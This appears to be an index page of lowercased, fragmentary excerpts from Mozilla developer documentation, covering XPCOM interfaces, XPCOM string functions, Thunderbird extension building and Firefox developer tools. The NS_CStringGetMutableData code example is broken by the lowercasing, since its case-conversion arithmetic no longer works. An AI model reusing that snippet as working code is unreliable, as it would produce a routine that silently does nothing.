jsdIStackFrame
scripts typically select this with the "language" attribute.
...method overview boolean eval(in astring bytes, in autf8string filename, in unsigned long line, out jsdivalue result); attributes attribute type description callee jsdivalue function object running in this stack frame.
... callingframe jsdistackframe link to the caller's stack frame.
mozIStorageBindingParamsArray
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports you can only create these objects by calling the mozistoragestatement.newbindingparamsarray().
...the appended parameters will be used when mozistoragestatement.executeasync() is called.
... newbindingparams() creates and returns a new, empty, mozistoragebindingparams object to which you can add parameters and their values for binding.
mozIStorageProgressHandler
the mozistorageprogresshandler interface lets storage consumers receive callbacks during the execution of sqlite requests.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview boolean onprogress(in mozistorageconnection aconnection); methods onprogress() the onprogress() method is called periodically while an sqlite operation is ongoing.
... boolean onprogress( in mozistorageconnection aconnection ); parameters <tt>aconnection</tt> a mozistorageconnection connection indicating the connection for which the callback was invoked.
nsIAboutModule
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long geturiflags(in nsiuri auri); nsichannel newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content.
... allow_script (1 << 1) a flag that indicates whether script should be enabled for the given about: uri even if it's disabled in general.
... hide_from_aboutabout (1 << 2) a flag that indicates whether this about: uri doesn't want to be listed in about:about, especially if it's not useful without a query string.
GetActionDescription
« nsiaccessible page summary this method retrieves the description (localized name) of the accessible action at the given zero-based index.
...exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
... ns_error_invalid_arg indicates that the given index is our of range.
nsIAsyncStreamCopier
void asynccopy( in nsirequestobserver aobserver, in nsisupports aobservercontext ); parameters aobserver receives notifications.
... aobservercontext the object to receive notifications with information about the progress of the copy operation.
...a null value is permitted and causes the copy to occur on an unspecified background thread.
nsIController
content/xul/document/public/nsicontroller.idlscriptable an interface that can be implemented to receive and process commands and events.
... inherits from: nsisupports last changed in gecko 1.7 method overview void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when this method is called, your implementation should execute the command with the specified name.
... iscommandenabled() implement this method to indicate whether or not the specified command is enabled.
nsIConverterInputStream
this allows reading unicode strings from a stream, automatically converting the bytes from a selected character encoding.
...in case of a buffer size of less than or equal to 0, the default size converter_buffer_size will be used.
...a value of 0x0000 will cause an exception to be thrown if unknown byte sequences are encountered in the stream.
nsIConverterOutputStream
must be called before any other method on this interface, or you will crash.
...a value of 0x0000 will cause an exception to be thrown upon attempts to write unsupported characters.
... exceptions thrown ns_error_loss_of_significant_data if areplacementcharacter is not encodable in the selected character encoding and an attempt is made to write the character.
nsIDOMFile
this allows the file reference to be saved when the form is submitted while the user is using a web application offline, so that the data can be retrieved and uploaded once the internet connection is restored.
... this is also used by the datatransfer object to describe files dragged into a web application using drag and drop.
... note that in gecko, this interface currently inherits from nsisupports, but in the file api specification, it should be a blob.
nsIDOMGeoPosition
dom/interfaces/geolocation/nsidomgeoposition.idlscriptable this interface describes a geographical location at a specific time.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) attributes attribute type description address nsidomgeopositionaddress the address of the user's current location, if available.
... see also using geolocation ...
nsIDOMGeoPositionOptions
the nsidomgeopositionoptions interface is used to specify options for geolocation operations.
... dom/interfaces/geolocation/nsidomgeopositionoptions.idlscriptable please add a summary to this article.
... timeout unsigned long maximum time in milliseconds before giving up on an attempt to retrieve location information.
nsIDebug
inherits from: nsisupports last changed in gecko 1.7 note: c/c++ consumers who are planning to use the nsidebug interface with the @mozilla.org/xpcom;1 contract should use ns_debugbreak() from xpcom glue instead, or alternatively the ns_abort, ns_assertion, ns_break, and ns_warning macros, which also call ns_debugbreak() if used in a debugging build.
... assertion() shows an assertion and triggers optional behavior based on the xpcom_debug_break environment variable, defaulting to calling break() on windows and os/2 and warning on other platforms.
...the dialog can be suppressed by use of the windbgdlg registry key.
nsIDirIndex
because this has no reference back to their original source, changing these attributes won't affect the directory.
... location string the fully qualified filename, expressed as a uri.
... this is encoded with the encoding specified in the nsidirindexparser, and is also escaped.
nsIDirectoryEnumerator
the nextfile attribute is the first element upon the first call.
...it is safe to call this function many times.
...exceptions thrown ns_ok if the call succeeded and the directory was closed.
nsIDispatchSupport
inherits from: nsisupports last changed in gecko 1.7 method overview void comvariant2jsval(in comvariantptr comvar, out jsval val); unsigned long gethostingflags(in string acontext); boolean isclassmarkedsafeforscripting(in nscidref cid, out boolean classexists); boolean isclasssafetohost(in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists); boolean isobjectsafeforscripting(in voidptr theobject, in nsiidref id); void jsval2comvariant(in jsval var, out comvariant comvar); methods comvariant2jsval() converts a com variant to a jsval.
...boolean isclasssafetohost( in jscontextptr cx, in nscidref cid, in boolean capscheck, out boolean classexists ); parameters cx cid capscheck classexists returns containing pr_false if the class is not registered.
...boolean isobjectsafeforscripting( in voidptr theobject, in nsiidref id ); parameters theobject the object to test (an iunknown cast into a void *).
nsIDocumentLoader
it is also responsible for sending nsiwebprogresslistener notifications.
...ar documentloader = components.classes["@mozilla.org/docloaderservice;1"] .createinstance(components.interfaces.nsidocumentloader); method overview void clearparentdocloader(); obsolete since gecko 1.8 void createdocumentloader(out nsidocumentloader aninstance); obsolete since gecko 1.8 void destroy(); obsolete since gecko 1.8 void fireonlocationchange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri auri); obsolete since gecko 1.8 void fireonstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); obsolete since gecko 1.8 void getcontentviewercontainer(in nsisupports adocumentid, out nsicontentviewercontainer aresult); native code only!
... fireonlocationchange() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void fireonlocationchange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri auri ); parameters awebprogress arequest auri fireonstatuschange() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) ...
nsIDownloadHistory
docshell/base/nsidownloadhistory.idlscriptable this interface can be used to add a download to history.
... there is a separate interface specifically for downloads in case embedders choose to track downloads differently from other types of history.
...this cannot be null.
nsIErrorService
xpcom/base/nsierrorservice.idlscriptable this is a service that allows nsresult codes to be mapped to string bundles that can be used to look up error messages.
... string bundle keys can also be mapped.
...if no key is registered for the specified nsresult, then the caller should use the nsresult's code (obtained with ns_error_get_code) instead.
nsIFeedEntry
these are used by podcasts, photocasts, and so forth.
... published astring a string indicating the date on which the entry was published, in rfc822 format.
...this is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions.
nsIFileURL
the url scheme need not be file:, since other local protocols may map urls to files (e.g., resource:).
...callers must clone before attempting to modify the returned nsifile object.
...the setter clones the nsifile object (allowing the caller to safely modify the nsifile object after setting it on this interface).
nsIFrameMessageListener
called to deliver a message to the frame handling process; called with one parameter, which has the following properties: name the name of the message.
... sync a boolean value indicating whether or not the message should be handled synchronously.
... when the listener is called, the this value is the target of the message.
nsIHTTPHeaderListener
modules/plugin/base/public/nsihttpheaderlistener.idlscriptable this interface allows plugin authors to access http response headers after issuing an nsipluginhost.geturl or nsipluginhost.posturl call.
... method overview void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header.
...void newresponseheader( in string headername, in string headervalue ); parameters headername headervalue statusline() called once for the http response status line.
nsIJSID
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the following methods return objects that implement this interface: components.interfaces.name components.classes[contract] components.interfacesbyid[uuid] components.classesbyid[cid] the first two cases create a named jsid while the last two cases create an unnamed jsid.
...note that for these cases of jsid the specified class or interface must exist and be scriptable.
...a jsid can only be initialized once.
nsILoginMetaInfo
this data can usually be ignored by most users of the login manager, which will create and maintain appropriate default values.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can specifically modify these values by passing changes into nsiloginmanager.modifylogin() using an nsipropertybag2 object as the input.
...this can be any arbitrary string, but a format as created by nsiuuidgenerator is recommended.
nsIMessageSender
to send messages to multiple "other sides", you would use nsimessagebroadcaster.
... see message manager interfaces for more details on the distinction between message senders and message broadcasters.
...throws ns_error_failure when the message receiver cannot be found.
nsIMicrosummaryObserver
ecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods oncontentloaded() called when an observed microsummary updates its content.
... onelementappended() called when an element is appended to a microsummary set.
... onerror() called when an observed microsummary encounters an error during an update.
nsIMimeConverter
set, in long fieldnamelen, in long encodedwordsize); string decodemimeheadertocharptr(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); mimeencoderdata *b64encoderinit(in mimeconverteroutputcallback output_fn, in void *closure); mimeencoderdata *qpencoderinit(in mimeconverteroutputcallback output_fn, in void *closure); void encoderdestroy(in mimeencoderdata *data, in boolean abort_p); long encoderwrite(in mimeencoderdata *data, in string buffer, in long size); methods encodemimepartiistr() an variant of encodemimepartiistr_utf8() which treats the h...
...this should only be used by native code, as xpconnect translation causes it to not work properly.
... notaphishmessage indicates whether phisihing filters have been run on a message yet.
nsIMsgFilterList
readonly attribute short nsimsgfilterlist::version arbitraryheaders readonly attribute acstring nsimsgfilterlist::arbitraryheaders shoulddownloadallheaders readonly attribute boolean nsimsgfilterlist::shoulddownloadallheaders filtercount readonly attribute unsigned long nsimsgfilterlist::filtercount loggingenabled attribute boolean nsimsgfilterlist::loggingenabled defaultfile attribute nsilocalfile nsimsgfilterlist::defaultfile logstream attribute nsioutputstream nsimsgfilterlist::logstream logurl readonly attribute acstring nsimsgfilterlist::logurl methods getfilterat() nsimsgfilter nsimsgfilterlist::getfilterat (in unsigned long filterindex ) getfilternamed() nsimsgfilter nsimsgfilterlist::getfilternamed (in astring filtername) setfilterat() nsimsgfilter nsimsgfilterlist::setf...
...file ( ) applyfilterstohdr() void nsimsgfilterlist::applyfilterstohdr ( in nsmsgfiltertypetype filtertype, in nsimsgdbhdr msghdr, in nsimsgfolder folder, in nsimsgdatabase db, in string headers, in unsigned long headersize, in nsimsgfilterhitnotify listener, in nsimsgwindow msgwindow, in nsilocalfile amessagefile ) writeinattr() void nsimsgfilterlist::writeintattr ( in nsmsgfilterfileattribvalue attrib, in long value, in nsioutputstream stream ) writestrattr() void nsimsgfilterlist::writestrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream ...
... stream ) writewstrattr() void nsimsgfilterlist::writewstrattr ( in nsmsgfilterfileattribvalue attrib, in string value, in nsioutputstream stream ) matchorchangefiltertarget() boolean nsimsgfilterlist::matchorchangefiltertarget ( in acstring olduri, in acstring newuri, in boolean caseinsensitive ) clearlog() void nsimsgfilterlist::clearlog () ensurelogfile() void nsimsgfilterlist::ensurelogfile () flushlogifnecessary () void nsimsgfilterlist::flushlogifnecessary () const const nsmsgfilterfileattribvalue nsimsgfilterlist::attribnone = 0 const nsmsgfilterfileattribvalue nsimsgfilterlist::attribversion = 1 const nsmsgfilterfileattribvalue nsimsgfilterlist::attriblogging = 2 const nsmsgfi...
nsIMsgSearchSession
to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsimsgsearchsession); to use the instance append search terms, set the scope, and then call search().
... void addscopeterm(in nsmsgsearchscopevalue scope, in nsimsgfolder folder); parameters scope folder adddirectoryscopeterm() void adddirectoryscopeterm(in nsmsgsearchscopevalue scope); parameters scope clearscopes() void clearscopes(); scopeusescustomheaders() call this function everytime the scope changes!
... void addallscopes(in nsmsgsearchscopevalue attrib); parameters attrib search() void search(in nsimsgwindow awindow); parameters awindow interruptsearch() void interruptsearch(); pausesearch() these two methods are used when the search session is using a timer to do local search, and the search adapter needs to run a url (e.g., to reparse a local folder) and wants to pause the timer while running the url.
nsINavHistoryResultTreeViewer
method overview nsinavhistoryresultnode nodefortreeindex(in unsigned long aindex); unsigned long treeindexfornode(in nsinavhistoryresultnode anode); attributes attribute type description collapseduplicates boolean controls whether duplicate adjacent elements are collapsed into a single item in the tree.
...when you sort by date, the multiple entries will then appear because they will be separated (unless you clicked reload a bunch of times in a row).
... return value the node located at the specified index in the tree.
nsIParentalControlsService
if this is true, applications should log relevant events using log() method.
... methods log() logs an application specific parental controls event.
... atarget optional the location to which the content was saved if it was not blocked.
nsIProfileLock
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void unlock(); attributes attribute type description directory nsilocalfile the main profile directory.
... localdirectory nsilocalfile a directory corresponding to the main profile directory, which exists for the purpose of storing data on the local filesystem, including cache files or other data files that may not represent critical user data.
... (for example, this directory may not be included as part of a backup scheme.) in some cases, this directory may just be the main profile directory.
nsIPropertyBag
the window scope is not always accessible so the window.navigator cannot be accessed.
... goodies obtained from window.navigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwrappednative_nohelper mozpay:null mozpermissionsettings:null mozphonenumberservice:phonenumberservice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt 5.1; rv:30.0) gecko/20100101 firefox/30.0" vendor:"" vendorsub:"" __proto__:navigatorprototyp...
...e from here we can easily see the operating system version.
nsIProtocolProxyFilter
method overview nsiproxyinfo applyfilter(in nsiprotocolproxyservice aproxyservice, in nsiuri auri, in nsiproxyinfo aproxy); methods applyfilter() this method is called to apply proxy filter rules for the given uri and proxy object (or list of proxy objects).
...this can be just be aproxy if the filter chooses not to modify the proxy.
... it can also be null to indicate that a direct connection should be used.
nsIScriptableUnicodeConverter
after converting, finish should be called and its return value appended to this return value.
...should be called after convertfromunicode() and appended to that function's return value.
...finish does not need to be called.
nsISelection2
avpercent how to align the frame vertically.
...a value of 50 centers the frame vertically.
... a value of -1 means move the frame the minimum amount necessary in order for the entire frame to be visible vertically (if possible).
nsISelection3
note that the parameters are case-insensitive.
... void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed selection.
... direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } see also nsiselection ...
nsIStructuredCloneContainer
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) you can copy an object into an nsistructuredclonecontainer using initfromvariant() or initfrombase64().
...once you've initialized the container, you can get a copy of the object it stores by calling deserializetovariant().
... you can also get a base-64-encoded string containing a copy of the container's serialized data, using getdataasbase64().
nsISupports
0 method overview nsrefcnt addref();violates the xpcom interface guidelines void queryinterface(in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); nsrefcnt release();violates the xpcom interface guidelines methods violates the xpcom interface guidelines addref() notifies the object that an interface pointer has been duplicated.
... note: the interface pointer, aresult, returned by queryinterface must be released by a call to release() when it is no longer needed.
... violates the xpcom interface guidelines release() notifies the object that an interface pointer has been destroyed and any resources the object held on behalf of the client can be released.
nsISyncMessageSender
see message manager interfaces for more details on the distinction between message senders and message broadcasters.
...throws ns_error_failure when the message receiver cannot be found.
...new rpc messages may be issued even if, earlier on the call stack, we are waiting for a reply to an earlier sendrpcmessage() call.
nsITaskbarProgress
widget/public/nsitaskbarprogress.idlscriptable starting in windows 7, applications can display a progress notification in the taskbar.
...this should be used when the operation is complete or canceled.
... state_paused 4 display a determinate progress bar indicating that the operation has paused.
nsIThreadManager
the nsithreadmanager interface lets applications and extensions create and manage threads, each of which is represented by an nsithread.
...if the calling thread does not already have a nsithread associated with it, one is created and associate with the current prthread.
... ismainthread boolean this attribute is true if the calling thread is the main thread of the application process.
nsIURLFormatter
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) variable names can contain 'a-z' letters and '_' characters.
... mozilla applications linking to mozilla websites are strongly encouraged to use urls of the following format: http[s]://%service%.mozilla.[com|org]/%locale%/ method overview astring formaturl(in astring aformat); astring formaturlpref(in astring apref); methods formaturl() formats a string url.
...if the preference value cannot be retrieved, a fatal error is reported and the "about:blank" url is returned.
nsIUpdateManager
toolkit/mozapps/update/nsiupdateservice.idlscriptable this interface describes a global application service that maintains a list of previously installed updates, as well as the currently in use update.
... updatecount long the number of updates in the history list; the updates can be fetched by calling getupdateat().
...see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiupdatepatch nsiapplicationupdateservice nsiupdateprompt nsiupdatetimermanager ...
nsIUpdatePatch
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing a patch file that can be downloaded and applied to a version of this application so that it can be updated.
... type astring the type of patch represented by the object: "partial" a binary difference between two application versions.
...see also nsiupdate nsiupdatechecklistener nsiupdatechecker nsiapplicationupdateservice nsiupdatemanager nsiupdateprompt nsiupdatetimermanager ...
nsIWindowCreator
embedding/base/nsiwindowcreator.idlscriptable a callback interface used by gecko to create new browser windows.
... the application, either mozilla or an embedding app, must provide an implementation of the window watcher component and notify the windowwatcher during application initialization.
...gecko will/may call this method, if made available to it, to create new windows.
nsIWorkerScope
1.0 66 introduced gecko 1.9.1 inherits from: nsiworkerglobalscope last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void postmessage(in domstring amessage, [optional] in nsiworkermessageport amessageport); void close(); attributes attribute type description onclose nsidomeventlistener a listener object to be called when the worker stops running.
... onmessage nsidomeventlistener a listener object to be called when a message is posted on the port.
...if a listener has been established by setting the value of the onclose attribute, it gets called.
nsIXPCException
inherits from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void initialize(in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
... methods initialize() void initialize( in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner ); parameters amessage aresult aname alocation adata ainner native code only!stealjsval xpcexjsval stealjsval(); parameters none.
...the call signature of the constructor is: components.exception(message, result, stack, data, inner) all parameters are optional and the appropriate placeholder is 'unknown'.
nsIXULTemplateResult
other values may be used for application specific purposes.
...hasbeenremoved() indicate that the output for a result has been removed and that the result is no longer being used by the builder.
...rulematched() indicate that a particular rule of a query has matched and that output will be generated for it.
nsMsgFolderFlagType
const nsmsgfolderflagtype mail = 0x00000004; /** @} */ /** whether this is a directory: newshosts are always directories; * newsgroups can be directories if we are in ``show all groups'' mode; * mail folders will have this bit if they are really directories, not files.
... const nsmsgfolderflagtype inbox = 0x00001000; /// whether this folder on online imap const nsmsgfolderflagtype imapbox = 0x00002000; /// whether this is an archive folder const nsmsgfolderflagtype archive = 0x00004000; /// this used to be used for virtual newsgroups const nsmsgfolderflagtype unused1 = 0x00008000; /// used to be for categories const nsmsgfolderflagtype unused4 = 0x00010000; /// this folder got new msgs const nsmsgfolderflagtype gotnew = 0x00020000; /// this folder is an imap server const nsmsgfolderflagtype imapserver = 0x00040000; /// this folder is an imap personal folder const nsmsgfolderflagtype imappersonal = 0x00080000; /// this folder is an imap public fol...
...pe templates = 0x00400000; /// this folder is one of your personal folders that is shared with other users const nsmsgfolderflagtype personalshared = 0x00800000; /// this folder is an imap \\noselect folder const nsmsgfolderflagtype imapnoselect = 0x01000000; /// this folder created offline const nsmsgfolderflagtype createdoffline = 0x02000000; /// this imap folder cannot have children :-( const nsmsgfolderflagtype imapnoinferiors = 0x04000000; /// this folder configured for offline use const nsmsgfolderflagtype offline = 0x08000000; /// this folder has offline events to play back const nsmsgfolderflagtype offlineevents = 0x10000000; /// this folder is checked for new messages const nsmsgfolderflagtype checknew = 0x2000000...
NS_CStringCloneData
« xpcom api reference summary the ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
... return values the ns_cstringcutdata function returns a pointer to a null-terminated, heap allocated buffer on success.
...the resulting buffer may be freed by calling nsmemory::free.
NS_CStringGetData
« xpcom api reference summary the ns_cstringgetdata function gives the caller read access to the string's internal buffer.
... aterminated [out] this optional result parameter indicates whether or not adata is null-terminated.
... it may be null if the caller is not interested in this information.
NS_CStringGetMutableData
« xpcom api reference summary the ns_cstringgetmutabledata function gives the caller write access to the string's internal buffer.
...the caller is not responsible for writing a null-terminator.
... example // convert any uppercase ascii letters to lowercase void tolowercase(nscstring &str) { char *iter; pruint32 len = ns_cstringgetmutabledata(str, pr_uint32_max, &iter); char *end = iter + len; while (iter != end) { char c = *iter; if (c >= 'a' && c <= 'z') *iter = c + ('a' - 'a'); ++iter; } } history this function was finalized for mozilla 1.8.
NS_StringCloneData
« xpcom api reference summary the ns_stringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.
... return values the ns_stringcutdata function returns a pointer to a null-terminated, heap allocated buffer on success.
...the resulting buffer may be freed by calling nsmemory::free.
Warnings
this page is designed to help explain the cause and possible solutions for these warnings.
... however, when the index is used, the data can be obtained row by row from the database, which will be much faster.
... if, for some reason you cannot use an index in your order by clause, you can suppress this warning by including a sql comment in your query that contains this text: /* do not warn (bug [everything in these brackets does not matter] */ the bug mentioned should explain why the query cannot use an index.
XSLT 2.0
saxon-b the xsl results extension uses the new incarnation of liveconnect (handled by java 1.6v12+ instead of mozilla-specific code) to connect with the java-based saxon-b library, and adds support for having xslt performed automatically when visiting a page with the appropriate xslt processing instruction (and which isn't processed by firefox's own xslt 1.0 processor).
...error and diagnostics output from saxon-ce can be reviewed in the firefox developer console or in firebug.
... saxon-b the extension demonstrates how one can use liveconnect code to communicate with the saxon-b library, but one might find the javascript code module approach used inside the extension xquseme as a more reusable approach.
Test-Info
each task generates one or more json-formatted data files providing detailed information on tests run in continuous integration, typically broken down by bugzilla component.
... data files are typically consumed by dashboards, like www.arewefissionyet.com.
... running test-info locally "test-info" is a mach command and can be run from any source tree.
Spam filtering
on spam detection, the user can choose to move spam to a special "junk" folder.
... the user can configure junk mail can be automatically purged from the "junk" folder.
... initial state user action table changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, add tokens to bad not junk mark as not junk no op junk mark as junk no op junk mark as not junk remove tokens from ...
Building a Thunderbird extension 2: extension file layout
text.xpi: //created in step 8 /install.rdf //created in step 3 /chrome.manifest //created in step 4 /chrome/ /content/ /content/myhelloworld.xul //created in step 5 /content/overlay.js //created in step 6 /chrome/locale/* //building an extension# localization /chrome/skin/ /defaults/preferences/ //building an extension# defaults files the following tutorial pages will explain how to write each of these files (except locale/ and defaults/) and package them into an xpi (zippy) file.
... you can find information about the locale/ and defaults/ folders in the more general "building an extension" documentation.
... to start with the tutorial, manually create the initial directory structure for the extension as it is depicted above in a folder called myfirstext@jen.zed.
Access StringBundle from Overlay
stringbundles are handy for localizing your project by removing all of your strings into a separate, easy to access text file.
...the most efficient way to append these strings is by attaching them to an existing stringbundleset as such: <stringbundleset id="stringbundleset"> <stringbundle src="chrome://your_extension/locale/overlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) alternative way let stringbundleservice = cc["@mozilla.org/intl/stringbundle;1"].getservice(ci.nsistringbundleservice); let bundle = st...
...ringbundleservice.createbundle("chrome://your_extension/locale/overlay.properties"); let str = bundle.getstringfromname("propertyname"); see nsistringbundleservice ...
Thunderbird
thunderbird is a mail/messaging application managed and developed by the thunderbird community.
... thunderbird is built on the same technical platform as the firefox web browser.
...er support is handled at mozilla support development discussion happens on the tb-planning mailing list: subscribe archives add-on developers forum/mailing list mozillazine forums mozilla messaging web page #thunderbird on irc.mozilla.org (for users) #maildev on irc.mozilla.org (for developers) a list of all thunderbird communication channels ...
Using the Mozilla source server
the nightly debug builds are now also source indexed so that by following a couple of simple steps you can also have the source code served to you for debugging without a local build what you'll need windbg or visual studio (note: express editions will not work, but windbg is a free download) a nightly build that was created after april 15, 2008; go to the /pub/firefox/nightly/latest-mozilla-central/ folder and grab the installer for builds predating the switch to mercurial, you'll need cvs.exe, added to your path (the cvs.exe from mozillabuild has problems, use this one instead) note: do not use the cvs from mozillabuild, it will not work!
... now, when you click on a frame in the "calls" window, windbg will prompt you about running cvs to download the associated source code.
... if you click "yes", windbg will display *busy* in the status bar while it downloads the source, and then it will automatically open the file and highlight the current line.
XPI
xpi modules (so called "bundles") are employed to install a wide variety of software, including plugins, extensions, themes, and thunderbird dictionaries.
...when downloaded or dropped into an extension manager, xpinstall automatically interacts with the installation instructions contained in the xpi, and installs the contained software.
... when xpi files are served via http, the application/x-xpinstall mime type should be matched with the xpi file extension.
Plug-in Side Plug-in API - Plugins
the names of all of these methods begin with npp_ to indicate that they are implemented by the plug-in and called by the browser.
... npp_streamasfile provides a local file name for the data from a stream.
... npp_writeready determines maximum number of bytes that the plug-in can consume.
Plugin Roadmap for Firefox - Plugins
to support the transition away from flash, firefox is working with other browsers to progressively and carefully make flash usage less common.
... in order to improve security and performance, mozilla will maintain a list of sites which cannot use any plugins.
...zilla firefox october 2015 - npapi plugins in firefox july 2016 - reducing adobe flash usage in firefox july 2017 - firefox roadmap for flash end-of-life adobe flash november 2015 - flash, html5 and open web standards july 2017 - flash & the future of interactive content google chrome flash roadmap sep 2013 - saying goodbye to our old friend npapi may 2014 - update on npapi deprecation november 2014 - the final countdown for npapi august 2016 - flash and chrome december 2016 - roll-out plan for html5 by default july 2017 - saying goodbye to flash in chrome microsoft edge and internet explorer april 2016 - putting users in control of flash december 2016 - extending user control of flash with click-to-run july 2017 - flash on windows timeline august 2019 - update ...
DOM Inspector - Firefox Developer Tools
the dom hierarchy can be navigated using a two-paned window that allows a variety of different views on the document and all nodes within.
... this tool is an add-on for xul-based applications such as firefox and thunderbird.
...you can install the sidebar panel via edit > preferences > advanced > dom inspector, then simply open up the inspector panel and visit a website.
Debug eval sources - Firefox Developer Tools
you can debug javascript code that is evaluated dynamically, either as a string passed to eval() or as a string passed to the function constructor.
... in the video below, we load a page containing a source like this: var script = `function foo() { console.log('called foo'); } //# sourceurl=my-foo.js`; eval(script); var button = document.getelementbyid("foo"); button.addeventlistener("click", foo, false); the evaluated string is given the name "my-foo.js" using the //# sourceurl directive.
... this source is then listed in the source list pane, and can be opened and debugged like any other source.
Highlight and inspect DOM nodes - Firefox Developer Tools
when you are working with dom notes in the debugger, you can easily highlight the node on the page or view it in the page inspector.
... also, when you view the details of a dom node in the code panel, objects that you can highlight in the list will also have a target next to them.
... you can click any one of these targets to switch to the page inspector with this item highlighted.
The Firefox JavaScript Debugger - Firefox Developer Tools
you can use it to debug code running locally in firefox or running remotely, for example on an android device running firefox for android.
... how to to find out what you can do with the debugger, refer to the following how-to guides.
...there are multiple ways to tell the debugger how and when to pause: set a breakpoint set a conditional breakpoint set an xhr breakpoint set event listener breakpoints break on exceptions use watchpoints for property reads and writes break on dom mutation disable breakpoints control execution what can you do after execution pauses?
Monster example - Firefox Developer Tools
you can try the site at https://mdn.github.io/performance-scenarios/js-allocs/alloc.html.
...specifically: the code creates an object with three properties, each an array: one for fierce monsters one for friendly monsters one for monsters who haven't decided yet.
... so the structure of the memory allocated on the javascript heap is an object containing three arrays, each containing 5000 objects (monsters), each object containing a string and two integers: ...
Performance Analysis - Firefox Developer Tools
(alternatively, if you have only just opened the network monitor, so it's not yet populated with the list of requests, you'll get a stopwatch icon in the main window.) the network monitor then loads the site twice: once with an empty browser cache, and once with a primed browser cache.
...it displays the results for each run side by side, or vertically if the browser window is narrow: the results for each run are summarised in a table and a pie chart.
... clicking on a slice of the pie takes you to the network monitor for that run, with a filter automatically applied to see only that resource type.
Network monitor recording - Firefox Developer Tools
you can pause and resume the monitoring of network traffic using the pause button.
... the button can be found at the far left of the main network monitor toolbar, and looks like a typical pause button — .
... you can see it here in context: once pressed, the button changes to a play icon, and you can toggle network traffic recording back on by pressing it again.
Page inspector 3-pane mode - Firefox Developer Tools
having the css rules in their own pane is very useful because it allows you to not only inspect your html and edit the css applied to it, but also see the effect this has on css features such as computed styles and grids in real time.
... with the 3-pane mode enabled, you can observe live changes in css features as you edit the rules applied to the page.
... enabling the 3-pane inspector pre-firefox 62 in earlier versions of firefox (since firefox 59/60), you can enable 3 pane mode in release/beta by going to about:config and flipping the following prefs to true: devtools.inspector.split-rule-enabled — this switches 3-pane mode on and off.
Use the Inspector API - Firefox Developer Tools
bindable events using on: markuploaded called when the left panel has been refreshed, after page change.
... ready called on first markuploaded.
... pseudoclass called after toggle of a pseudoclass.
Page Inspector - Firefox Developer Tools
you can examine pages loaded in the local copy of firefox or in a remote target such as firefox for android.
... you can split the rules view out into its own pane, separate from the other tabs on the css pane — this is called 3-pane mode.
